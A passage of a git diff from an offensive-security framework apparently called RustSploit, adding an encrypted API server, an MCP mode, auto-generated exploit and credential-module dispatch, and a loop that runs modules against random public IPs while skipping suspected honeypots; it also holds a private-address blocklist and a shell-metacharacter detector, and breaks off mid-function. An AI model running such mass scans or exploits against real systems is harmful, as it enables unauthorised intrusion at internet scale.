||||
std::net::IpAddr::V4(v4) => is_blocked_ipv4(v4),
|
||||
}
|
||||
}
|
||||
|
||||
fn is_blocked_ipv4(v4: std::net::Ipv4Addr) -> bool {
|
||||
let o = v4.octets();
|
||||
o == [0, 0, 0, 0]
|
||||
|| o[0] == 127
|
||||
|| o[0] == 10
|
||||
|| (o[0] == 172 && (o[1] & 0xf0) == 16)
|
||||
|| (o[0] == 192 && o[1] == 168)
|
||||
|| (o[0] == 169 && o[1] == 254)
|
||||
|| o == [168, 63, 129, 16]
|
||||
|| o == [100, 100, 100, 200]
|
||||
}
|
||||
|
||||
pub(crate) async fn is_blocked_target_resolved(target: &str) -> bool {
|
||||
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0", "0.0.0.0/0"];
|
||||
if MASS_SCAN_KEYWORDS.contains(&target) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if is_blocked_target(target) {
|
||||
return true;
|
||||
}
|
||||
let lower = target.to_lowercase();
|
||||
let host_part = lower
|
||||
.strip_prefix("http://")
|
||||
.or_else(|| lower.strip_prefix("https://"))
|
||||
.unwrap_or(&lower);
|
||||
let host_part = host_part.split('/').next().unwrap_or(host_part);
|
||||
let lookup_addr = if host_part.contains(':') {
|
||||
host_part.to_string()
|
||||
} else {
|
||||
format!("{}:80", host_part)
|
||||
};
|
||||
match tokio::time::timeout(
|
||||
std::time::Duration::from_secs(5),
|
||||
tokio::net::lookup_host(&lookup_addr),
|
||||
).await {
|
||||
Ok(Ok(addrs)) => {
|
||||
for addr in addrs {
|
||||
if is_blocked_ip(addr.ip()) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
Ok(Err(_)) | Err(_) => true,
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn contains_shell_metacharacters(input: &str) -> bool {
|
||||
input.chars().any(|c| matches!(c, '&' | '|' | ';' | '`' | '$' | '>' | '<' | '\n' | '\r' | '(' | ')' | '{' | '}'))
|
||||
|| input.contains("$(")
|
||||
|| input.contains("${")
|
||||
}
|
||||
|
||||
pub(crate) fn validate_result_filename(name: &str) -> bool {
|
||||
!name.is_empty()
|
||||
&& name.len() <= 255
|
||||
&& name.is_ascii()
|
||||
&& !name.contains('/')
|
||||
&& !name.contains('\\')
|
||||
&& !name.contains("..")
|
||||
&& name.chars().all(|c| c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.'))
|
||||
&& !name.starts_with('.')
|
||||
&& name.ends_with(".txt")
|
||||
}
|
||||
|
||||
// ─── Health Endpoint ────────────────────────────────────────────────
|
||||
|
||||
async fn health_check() -> Json<serde_json::Value> {
|
||||
Json(serde_json::json!({
|
||||
"status": "ok",
|
||||
}))
|
||||
}
|
||||
|
||||
// ─── Server Entry Point ─────────────────────────────────────────────
|
||||
|
||||
pub async fn start_api_server(
|
||||
bind_address: &str,
|
||||
_verbose: bool,
|
||||
host_key_path: &std::path::Path,
|
||||
authorized_keys_path: &std::path::Path,
|
||||
) -> Result<()> {
|
||||
let host_identity = crate::pq_channel::HostIdentity::load_or_generate(host_key_path)
|
||||
.context("Failed to load/generate PQ host key")?;
|
||||
|
||||
let authorized_keys = crate::pq_channel::load_authorized_keys(authorized_keys_path)
|
||||
.context("Failed to load authorized keys")?;
|
||||
|
||||
let pq_sessions = crate::pq_channel::new_session_store();
|
||||
|
||||
let n_plugins = crate::commands::plugin_count();
|
||||
if n_plugins > 0 {
|
||||
eprintln!("{}", "[!] WARNING: Third-party plugins loaded. RustSploit is NOT responsible for third-party plugin behavior.".red().bold());
|
||||
eprintln!("[!] Loaded plugins: {}", n_plugins);
|
||||
}
|
||||
|
||||
println!("Starting RustSploit WS server (PQ-encrypted)...");
|
||||
println!("Binding to: {}", bind_address);
|
||||
println!("Host key fingerprint: {}", host_identity.fingerprint());
|
||||
println!("Authorized clients: {}", authorized_keys.len());
|
||||
for key in &authorized_keys {
|
||||
println!(" {} ({})",
|
||||
key.name,
|
||||
crate::pq_channel::fingerprint(&key.x25519_public, &key.mlkem_ek));
|
||||
}
|
||||
|
||||
let pq_state = Arc::new(crate::pq_middleware::PqSharedState {
|
||||
sessions: pq_sessions,
|
||||
host_identity: Arc::new(host_identity),
|
||||
authorized_keys: Arc::new(authorized_keys),
|
||||
handshake_rate_limiter: crate::pq_middleware::new_handshake_rate_limiter(),
|
||||
});
|
||||
|
||||
let cleanup_sessions = pq_state.sessions.clone();
|
||||
let cleanup_rate_limiter = pq_state.handshake_rate_limiter.clone();
|
||||
tokio::spawn(async move {
|
||||
let mut interval = tokio::time::interval(std::time::Duration::from_secs(300));
|
||||
loop {
|
||||
interval.tick().await;
|
||||
let mut store = cleanup_sessions.write().await;
|
||||
let before = store.len();
|
||||
store.retain(|_, s| s.last_activity.elapsed() < std::time::Duration::from_secs(3600));
|
||||
let removed = before - store.len();
|
||||
if removed > 0 {
|
||||
tracing::info!("PQ session cleanup: removed {} idle sessions ({} remaining)", removed, store.len());
|
||||
}
|
||||
drop(store);
|
||||
|
||||
let mut limiter = cleanup_rate_limiter.lock().await;
|
||||
limiter.retain(|_, timestamps| {
|
||||
timestamps.retain(|t| t.elapsed() < std::time::Duration::from_secs(120));
|
||||
!timestamps.is_empty()
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
let app = Router::new()
|
||||
.route("/health", get(health_check))
|
||||
.route("/pq/handshake", post(crate::pq_middleware::handshake_handler))
|
||||
.route("/pq/ws", get(crate::ws::ws_upgrade))
|
||||
.layer(axum::Extension(pq_state))
|
||||
.layer(
|
||||
ServiceBuilder::new()
|
||||
.layer(TraceLayer::new_for_http()),
|
||||
);
|
||||
|
||||
println!("Server running on http://{}", bind_address);
|
||||
println!("Transport: Post-Quantum encryption (ML-KEM-768 + X25519 + ChaCha20-Poly1305)");
|
||||
println!("Endpoints: GET /health, POST /pq/handshake, GET /pq/ws");
|
||||
|
||||
let listener = tokio::net::TcpListener::bind(bind_address)
|
||||
.await
|
||||
.context(format!("Failed to bind to {}", bind_address))?;
|
||||
|
||||
axum::serve(
|
||||
listener,
|
||||
app.into_make_service_with_connect_info::<SocketAddr>(),
|
||||
)
|
||||
.await
|
||||
.context("API server error")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
+41
-6
@@ -1,13 +1,8 @@
|
||||
use clap::{ArgGroup, Parser};
|
||||
use clap::Parser;
|
||||
|
||||
/// Simple RouterSploit-like CLI in Rust
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(author, version, about, long_about = None)]
|
||||
#[clap(group(
|
||||
ArgGroup::new("mode")
|
||||
.required(false)
|
||||
.args(&["command"])
|
||||
))]
|
||||
pub struct Cli {
|
||||
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
|
||||
pub command: Option<String>,
|
||||
@@ -19,4 +14,44 @@ pub struct Cli {
|
||||
/// Module name to use
|
||||
#[arg(short, long)]
|
||||
pub module: Option<String>,
|
||||
|
||||
/// Launch API server mode
|
||||
#[arg(long)]
|
||||
pub api: bool,
|
||||
|
||||
/// Path to PQ authorized keys file (default: ~/.rustsploit/pq_authorized_keys)
|
||||
#[arg(long, requires = "api")]
|
||||
pub pq_authorized_keys: Option<String>,
|
||||
|
||||
/// Network interface to bind API server to (default: 127.0.0.1)
|
||||
#[arg(long, requires = "api", default_value = "127.0.0.1")]
|
||||
pub interface: Option<String>,
|
||||
|
||||
/// Set global target IP/subnet for all modules
|
||||
#[arg(long)]
|
||||
pub set_target: Option<String>,
|
||||
|
||||
/// Enable verbose output (shows detailed operation logs)
|
||||
#[arg(short, long)]
|
||||
pub verbose: bool,
|
||||
|
||||
/// List all available modules and exit
|
||||
#[arg(long)]
|
||||
pub list_modules: bool,
|
||||
|
||||
/// Output format (text, json)
|
||||
#[arg(long, default_value = "text")]
|
||||
pub output_format: Option<String>,
|
||||
|
||||
/// Execute a resource script file on startup
|
||||
#[arg(short = 'r', long = "resource")]
|
||||
pub resource: Option<String>,
|
||||
|
||||
/// Path to PQ host key file (default: ~/.rustsploit/pq_host_key)
|
||||
#[arg(long, requires = "api")]
|
||||
pub pq_host_key: Option<String>,
|
||||
|
||||
/// Launch MCP (Model Context Protocol) server over stdio
|
||||
#[arg(long)]
|
||||
pub mcp: bool,
|
||||
}
|
||||
|
||||
+1
-13
@@ -1,13 +1 @@
|
||||
use anyhow::Result;
|
||||
use crate::modules::creds;
|
||||
|
||||
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
|
||||
match module_name {
|
||||
"sample_cred_check" => {
|
||||
creds::sample_cred_check::run(target).await?;
|
||||
},
|
||||
// Add more creds modules here ...
|
||||
_ => eprintln!("Creds module '{}' not found.", module_name),
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
|
||||
|
||||
+1
-13
@@ -1,13 +1 @@
|
||||
use anyhow::Result;
|
||||
use crate::modules::exploits;
|
||||
|
||||
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
|
||||
match module_name {
|
||||
"sample_exploit" => {
|
||||
exploits::sample_exploit::run(target).await?;
|
||||
},
|
||||
// Add more exploit modules here ...
|
||||
_ => eprintln!("Exploit module '{}' not found.", module_name),
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
|
||||
|
||||
+591
-41
@@ -1,51 +1,601 @@
|
||||
// src/commands/mod.rs
|
||||
|
||||
pub mod exploit;
|
||||
pub mod scanner;
|
||||
pub mod creds;
|
||||
pub mod exploit;
|
||||
pub mod plugins;
|
||||
pub mod scanner;
|
||||
|
||||
use anyhow::Result;
|
||||
// Auto-generated registry of all module categories (from build.rs)
|
||||
mod registry {
|
||||
include!(concat!(env!("OUT_DIR"), "/module_registry.rs"));
|
||||
}
|
||||
|
||||
use anyhow::{Result, Context};
|
||||
use crate::cli::Cli;
|
||||
use crate::config;
|
||||
use crate::utils::normalize_target;
|
||||
use crate::utils::{
|
||||
is_subnet_target, parse_subnet, subnet_host_count,
|
||||
is_mass_scan_target, generate_random_public_ip, parse_exclusions, EXCLUDED_RANGES,
|
||||
};
|
||||
|
||||
|
||||
/// CLI dispatcher
|
||||
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
match command {
|
||||
"exploit" => {
|
||||
let target = cli_args.target.clone().unwrap_or_default();
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
exploit::run_exploit(&module, &target).await?;
|
||||
},
|
||||
"scanner" => {
|
||||
let target = cli_args.target.clone().unwrap_or_default();
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
scanner::run_scan(&module, &target).await?;
|
||||
},
|
||||
"creds" => {
|
||||
let target = cli_args.target.clone().unwrap_or_default();
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
creds::run_cred_check(&module, &target).await?;
|
||||
},
|
||||
_ => {
|
||||
eprintln!("Unknown command '{}'", command);
|
||||
crate::utils::verbose_log(cli_args.verbose, "Handling CLI command...");
|
||||
|
||||
let raw = if let Some(ref t) = cli_args.target {
|
||||
t.clone()
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
match config::GLOBAL_CONFIG.get_target() {
|
||||
Some(t) => {
|
||||
crate::mprintln!("[*] Using global target: {}", t);
|
||||
t
|
||||
}
|
||||
None => return Err(anyhow::anyhow!("No target specified and global target not set")),
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Called from the interactive shell
|
||||
pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
|
||||
if module_path.starts_with("exploits/") {
|
||||
let module_name = module_path.trim_start_matches("exploits/").to_string();
|
||||
exploit::run_exploit(&module_name, target).await?;
|
||||
} else if module_path.starts_with("scanners/") {
|
||||
let module_name = module_path.trim_start_matches("scanners/").to_string();
|
||||
scanner::run_scan(&module_name, target).await?;
|
||||
} else if module_path.starts_with("creds/") {
|
||||
let module_name = module_path.trim_start_matches("creds/").to_string();
|
||||
creds::run_cred_check(&module_name, target).await?;
|
||||
} else {
|
||||
eprintln!("Unknown module path '{}'", module_path);
|
||||
}
|
||||
return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
|
||||
};
|
||||
|
||||
// Skip normalization for mass scan targets (random, 0.0.0.0, file paths)
|
||||
let target = if is_mass_scan_target(&raw) {
|
||||
raw.clone()
|
||||
} else {
|
||||
normalize_target(&raw)?
|
||||
};
|
||||
crate::utils::verbose_log(cli_args.verbose, &format!("Normalized target: {}", target));
|
||||
|
||||
let module = match cli_args.module.clone() {
|
||||
Some(m) => m,
|
||||
None => String::new(),
|
||||
};
|
||||
|
||||
// Resolve the module name by trimming category prefix
|
||||
let (category, module_name) = match command {
|
||||
"exploit" => ("exploits", module.trim_start_matches("exploits/").to_string()),
|
||||
"scanner" => ("scanners", module.trim_start_matches("scanners/").to_string()),
|
||||
"creds" => ("creds", module.trim_start_matches("creds/").to_string()),
|
||||
"plugins" => ("plugins", module.trim_start_matches("plugins/").to_string()),
|
||||
other => (other, module.clone()),
|
||||
};
|
||||
|
||||
// CIDR auto-expansion: iterate over every IP in the subnet concurrently
|
||||
dispatch_with_cidr(category, &module_name, &target).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Interactive module runner
|
||||
pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> Result<()> {
|
||||
tracing::info!(module = %module_path, target = %raw_target, "Starting module execution");
|
||||
crate::utils::verbose_log(verbose, &format!("Attempting to run module '{}' against '{}'", module_path, raw_target));
|
||||
|
||||
// 1. Resolve module using compile-time list
|
||||
let available = discover_modules();
|
||||
|
||||
// Fuzzy matching logic
|
||||
let full_match = available.iter().find(|m| m == &module_path);
|
||||
let short_match = available.iter().find(|m| {
|
||||
m.rsplit_once('/').map(|(_, short)| short == module_path).unwrap_or(false)
|
||||
});
|
||||
|
||||
if let Some(m) = full_match {
|
||||
crate::utils::verbose_log(verbose, &format!("Exact module match found: {}", m));
|
||||
} else if let Some(m) = short_match {
|
||||
crate::utils::verbose_log(verbose, &format!("Short module match found: {}", m));
|
||||
}
|
||||
|
||||
let resolved = if let Some(m) = full_match {
|
||||
m
|
||||
} else if let Some(m) = short_match {
|
||||
m
|
||||
} else {
|
||||
use colored::*;
|
||||
crate::meprintln!("{}", format!("Unknown module '{}'.", module_path).red());
|
||||
|
||||
// Fuzzy matching
|
||||
let best_match = available.iter()
|
||||
.map(|m| (m, strsim::levenshtein(module_path, m)))
|
||||
.min_by_key(|&(_, dist)| dist);
|
||||
|
||||
if let Some((suggestion, dist)) = best_match {
|
||||
if dist < 5 {
|
||||
crate::meprintln!("{}", format!(" Did you mean: {}?", suggestion).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
return Err(anyhow::anyhow!("Module not found"));
|
||||
};
|
||||
|
||||
// 2. Resolve target
|
||||
let target_str = if raw_target.is_empty() {
|
||||
if config::GLOBAL_CONFIG.has_target() {
|
||||
match config::GLOBAL_CONFIG.get_target() {
|
||||
Some(t) => {
|
||||
crate::mprintln!("[*] Using global target: {}", t);
|
||||
t
|
||||
}
|
||||
None => return Err(anyhow::anyhow!("No global target set")),
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("No target specified."));
|
||||
}
|
||||
} else {
|
||||
raw_target.to_string()
|
||||
};
|
||||
|
||||
// Skip normalization for mass scan targets (random, 0.0.0.0, file paths)
|
||||
let target = if is_mass_scan_target(&target_str) {
|
||||
target_str.clone()
|
||||
} else {
|
||||
normalize_target(&target_str)?
|
||||
};
|
||||
crate::utils::verbose_log(verbose, &format!("Target resolved to: {}", target));
|
||||
|
||||
let mut parts = resolved.splitn(2, '/');
|
||||
let category = parts.next().unwrap_or("");
|
||||
let module_name = parts.next().unwrap_or("");
|
||||
|
||||
dispatch_with_cidr(category, module_name, &target).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Dispatch a module against a target, with automatic CIDR subnet expansion
|
||||
/// and comma-separated multi-target support.
|
||||
///
|
||||
/// Handles:
|
||||
/// - Single IP/hostname: dispatches directly
|
||||
/// - CIDR subnet: iterates over every IP concurrently
|
||||
/// - Comma-separated list: dispatches each entry (with subnet expansion for CIDRs)
|
||||
async fn dispatch_with_cidr(category: &str, module_name: &str, target: &str) -> Result<()> {
|
||||
use colored::Colorize;
|
||||
|
||||
// Comma-separated multi-target: split and dispatch each
|
||||
if target.contains(',') {
|
||||
let targets: Vec<&str> = target.split(',').map(|t| t.trim()).filter(|t| !t.is_empty()).collect();
|
||||
let count = targets.len();
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Multi-target detected: {} targets — running '{}/{}' against each",
|
||||
count, category, module_name
|
||||
).cyan());
|
||||
|
||||
for (i, t) in targets.iter().enumerate() {
|
||||
crate::mprintln!("\n{}", format!(
|
||||
"[*] === Target {}/{}: {} ===", i + 1, count, t
|
||||
).cyan().bold());
|
||||
if let Err(e) = dispatch_single_target(category, module_name, t).await {
|
||||
crate::meprintln!("{}", format!("[!] Target '{}' failed: {:?}", t, e).red());
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!("\n{}", format!(
|
||||
"[*] Multi-target scan complete: {} targets processed", count
|
||||
).green().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
dispatch_single_target(category, module_name, target).await
|
||||
}
|
||||
|
||||
/// Dispatch a single target (IP/hostname, CIDR subnet, file, or random mass scan).
|
||||
///
|
||||
/// This is the unified framework-level dispatcher that ensures every module
|
||||
/// supports all target types: single IP, CIDR, file-based target lists, and
|
||||
/// random internet scanning — even if the module has no built-in mass scan handler.
|
||||
async fn dispatch_single_target(category: &str, module_name: &str, target: &str) -> Result<()> {
|
||||
use colored::Colorize;
|
||||
use std::sync::{Arc, atomic::{AtomicUsize, Ordering}};
|
||||
|
||||
let is_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
let is_file = !is_random && !is_subnet_target(target) && std::path::Path::new(target).is_file();
|
||||
|
||||
// --- Check if honeypot detection is enabled (global option, default: on) ---
|
||||
// Users can disable with: setg honeypot_detection n
|
||||
// API users can disable with: prompts: { "honeypot_detection": "n" }
|
||||
let honeypot_enabled = {
|
||||
let config = crate::config::get_module_config();
|
||||
if let Some(val) = config.custom_prompts.get("honeypot_detection") {
|
||||
!matches!(val.to_lowercase().as_str(), "n" | "no" | "false" | "0" | "off" | "disabled")
|
||||
} else if let Some(val) = crate::global_options::GLOBAL_OPTIONS.try_get("honeypot_detection") {
|
||||
!matches!(val.to_lowercase().as_str(), "n" | "no" | "false" | "0" | "off" | "disabled")
|
||||
} else {
|
||||
true // enabled by default
|
||||
}
|
||||
};
|
||||
|
||||
// --- Random / Internet-wide mass scan (target == "random" or "0.0.0.0") ---
|
||||
// Framework manages the loop: generates random public IPs, does a TCP port
|
||||
// pre-check (if port is known via setg), enters batch mode so interactive
|
||||
// prompts are asked once and cached for all subsequent hosts.
|
||||
if is_random {
|
||||
let batch_guard = crate::context::enter_batch_mode();
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Random mass scan — running '{}/{}' against random public IPs (Ctrl+C to stop)",
|
||||
category, module_name
|
||||
).cyan().bold());
|
||||
|
||||
let concurrency: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("concurrency")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(50);
|
||||
let max_hosts: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("max_random_hosts")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(10_000);
|
||||
let module_timeout_secs: u64 = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("module_timeout")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(60);
|
||||
let precheck_port: Option<u16> = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("port")
|
||||
.and_then(|v| v.parse().ok());
|
||||
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Will scan up to {} random hosts with concurrency {} (setg max_random_hosts / concurrency to change){}",
|
||||
max_hosts, concurrency,
|
||||
if let Some(p) = precheck_port { format!(" | port pre-check: {}", p) } else { String::new() }
|
||||
).cyan());
|
||||
|
||||
let semaphore = Arc::new(tokio::sync::Semaphore::new(concurrency));
|
||||
let success_count = Arc::new(AtomicUsize::new(0));
|
||||
let fail_count = Arc::new(AtomicUsize::new(0));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
|
||||
|
||||
let category = category.to_string();
|
||||
let module_name = module_name.to_string();
|
||||
|
||||
let prompt_cache = crate::context::new_prompt_cache();
|
||||
let parent_config = crate::config::get_module_config();
|
||||
let mut seen = std::collections::HashSet::<std::net::IpAddr>::new();
|
||||
|
||||
for _ in 0..max_hosts {
|
||||
let ip = generate_random_public_ip(&exclusions);
|
||||
if !seen.insert(ip) {
|
||||
continue;
|
||||
}
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
let permit = semaphore.clone().acquire_owned().await
|
||||
.context("Semaphore closed")?;
|
||||
let sc = success_count.clone();
|
||||
let fc = fail_count.clone();
|
||||
let tc = checked.clone();
|
||||
let cat = category.clone();
|
||||
let mname = module_name.clone();
|
||||
let pc = prompt_cache.clone();
|
||||
let cfg = parent_config.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
// Combined port pre-check + honeypot detection via native network lib
|
||||
if !crate::utils::network::mass_scan_precheck(ip, precheck_port, honeypot_enabled).await {
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
let idx = tc.fetch_add(1, Ordering::Relaxed) + 1;
|
||||
if idx % 50 == 0 || idx == 1 {
|
||||
crate::mprintln!("[*] Progress: {} hosts scanned | {} ok | {} err",
|
||||
idx,
|
||||
sc.load(Ordering::Relaxed),
|
||||
fc.load(Ordering::Relaxed));
|
||||
}
|
||||
let ctx = std::sync::Arc::new(crate::context::RunContext::with_prompt_cache(
|
||||
cfg, pc, ip_str.clone(),
|
||||
));
|
||||
let dispatch_result = crate::context::RUN_CONTEXT.scope(ctx, async {
|
||||
tokio::time::timeout(
|
||||
std::time::Duration::from_secs(module_timeout_secs),
|
||||
registry::dispatch_by_category(&cat, &mname, &ip_str),
|
||||
).await
|
||||
}).await;
|
||||
match dispatch_result {
|
||||
Ok(Ok(_)) => { sc.fetch_add(1, Ordering::Relaxed); }
|
||||
Ok(Err(e)) => {
|
||||
tracing::debug!("Mass scan {} failed: {:?}", ip_str, e);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
Err(_) => {
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
if let Err(e) = semaphore.acquire_many(concurrency as u32).await {
|
||||
crate::meprintln!("[!] Drain barrier failed: {}", e);
|
||||
}
|
||||
|
||||
drop(batch_guard);
|
||||
print_scan_summary("Random Mass Scan",
|
||||
checked.load(Ordering::Relaxed),
|
||||
success_count.load(Ordering::Relaxed),
|
||||
fail_count.load(Ordering::Relaxed));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// --- File-based target list ---
|
||||
if is_file {
|
||||
let batch_guard = crate::context::enter_batch_mode();
|
||||
let content = crate::utils::safe_read_to_string_async(target, None).await
|
||||
.with_context(|| format!("Failed to read target file '{}'", target))?;
|
||||
let targets: Vec<String> = content.lines()
|
||||
.map(|s| s.trim().to_string())
|
||||
.filter(|s| !s.is_empty() && !s.starts_with('#'))
|
||||
.collect();
|
||||
|
||||
let count = targets.len();
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] File target list: {} hosts from '{}' — running '{}/{}'",
|
||||
count, target, category, module_name
|
||||
).cyan().bold());
|
||||
|
||||
let concurrency: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("concurrency")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(50);
|
||||
let module_timeout_secs: u64 = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("module_timeout")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(60);
|
||||
let semaphore = Arc::new(tokio::sync::Semaphore::new(concurrency));
|
||||
let success_count = Arc::new(AtomicUsize::new(0));
|
||||
let fail_count = Arc::new(AtomicUsize::new(0));
|
||||
let total = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let category = category.to_string();
|
||||
let module_name = module_name.to_string();
|
||||
|
||||
// Shared prompt cache: all concurrent tasks share one set of prompt answers
|
||||
let prompt_cache = crate::context::new_prompt_cache();
|
||||
let parent_config = crate::config::get_module_config();
|
||||
|
||||
for ip_str in targets {
|
||||
let permit = semaphore.clone().acquire_owned().await
|
||||
.context("Semaphore closed")?;
|
||||
let sc = success_count.clone();
|
||||
let fc = fail_count.clone();
|
||||
let tc = total.clone();
|
||||
let cat = category.clone();
|
||||
let mname = module_name.clone();
|
||||
let pc = prompt_cache.clone();
|
||||
let cfg = parent_config.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
// Quick honeypot check before running module
|
||||
if honeypot_enabled && crate::utils::network::quick_honeypot_check(&ip_str).await {
|
||||
crate::meprintln!("[!] Skipping {} — honeypot detected", ip_str);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
let idx = tc.fetch_add(1, Ordering::Relaxed) + 1;
|
||||
if idx % 50 == 0 || idx == 1 {
|
||||
crate::mprintln!("[*] Progress: {}/{} hosts processed...", idx, count);
|
||||
}
|
||||
let ctx = std::sync::Arc::new(crate::context::RunContext::with_prompt_cache(
|
||||
cfg, pc, ip_str.clone(),
|
||||
));
|
||||
let dispatch_result = crate::context::RUN_CONTEXT.scope(ctx, async {
|
||||
tokio::time::timeout(
|
||||
std::time::Duration::from_secs(module_timeout_secs),
|
||||
registry::dispatch_by_category(&cat, &mname, &ip_str),
|
||||
).await
|
||||
}).await;
|
||||
match dispatch_result {
|
||||
Ok(Ok(_)) => { sc.fetch_add(1, Ordering::Relaxed); }
|
||||
Ok(Err(e)) => {
|
||||
crate::meprintln!("[!] {} failed: {:?}", ip_str, e);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
Err(_) => {
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
tracing::debug!("File target {} timed out after {}s", ip_str, module_timeout_secs);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Drain barrier: wait until all in-flight tasks release their permits.
|
||||
if let Err(e) = semaphore.acquire_many(concurrency as u32).await {
|
||||
crate::meprintln!("[!] Drain barrier failed (semaphore closed): {}", e);
|
||||
}
|
||||
|
||||
drop(batch_guard);
|
||||
print_scan_summary("File Target Scan",
|
||||
total.load(Ordering::Relaxed),
|
||||
success_count.load(Ordering::Relaxed),
|
||||
fail_count.load(Ordering::Relaxed));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// --- CIDR subnet expansion — handles ANY size subnet via lazy iteration ---
|
||||
if is_subnet_target(target) {
|
||||
let network = parse_subnet(target)?;
|
||||
let host_count = subnet_host_count(&network);
|
||||
|
||||
// /32 or /128 — single host, dispatch directly without subnet machinery
|
||||
if host_count <= 1 {
|
||||
let ip_str = network.network().to_string();
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Single-host subnet {} — dispatching as {}", target, ip_str
|
||||
).cyan());
|
||||
registry::dispatch_by_category(category, module_name, &ip_str).await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let batch_guard = crate::context::enter_batch_mode();
|
||||
|
||||
// Concurrency from global options, default 50
|
||||
let concurrency: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("concurrency")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(50);
|
||||
let module_timeout_secs: u64 = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("module_timeout")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(60);
|
||||
|
||||
// Warn for very large subnets but don't block
|
||||
if host_count > 1_000_000 {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[!] Large subnet: {} ({} hosts) — this will take a while. Concurrency: {}. Ctrl+C to stop.",
|
||||
network, host_count, concurrency
|
||||
).yellow().bold());
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Subnet: {} ({} hosts) — running '{}/{}' with concurrency {}",
|
||||
network, host_count, category, module_name, concurrency
|
||||
).cyan());
|
||||
|
||||
let semaphore = Arc::new(tokio::sync::Semaphore::new(concurrency));
|
||||
let success_count = Arc::new(AtomicUsize::new(0));
|
||||
let fail_count = Arc::new(AtomicUsize::new(0));
|
||||
let total = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let category = category.to_string();
|
||||
let module_name = module_name.to_string();
|
||||
|
||||
// Shared prompt cache: all concurrent tasks share one set of prompt answers
|
||||
let prompt_cache = crate::context::new_prompt_cache();
|
||||
let parent_config = crate::config::get_module_config();
|
||||
|
||||
// Adaptive progress interval: every 50 for small, 1000 for medium, 10000 for huge
|
||||
let progress_interval = if host_count > 10_000_000 {
|
||||
10_000
|
||||
} else if host_count > 100_000 {
|
||||
1_000
|
||||
} else if host_count > 1_000 {
|
||||
100
|
||||
} else {
|
||||
50
|
||||
};
|
||||
|
||||
// Lazy iteration — never allocates all IPs in memory
|
||||
for ip in network.iter() {
|
||||
let permit = semaphore.clone().acquire_owned().await
|
||||
.context("Semaphore closed")?;
|
||||
let sc = success_count.clone();
|
||||
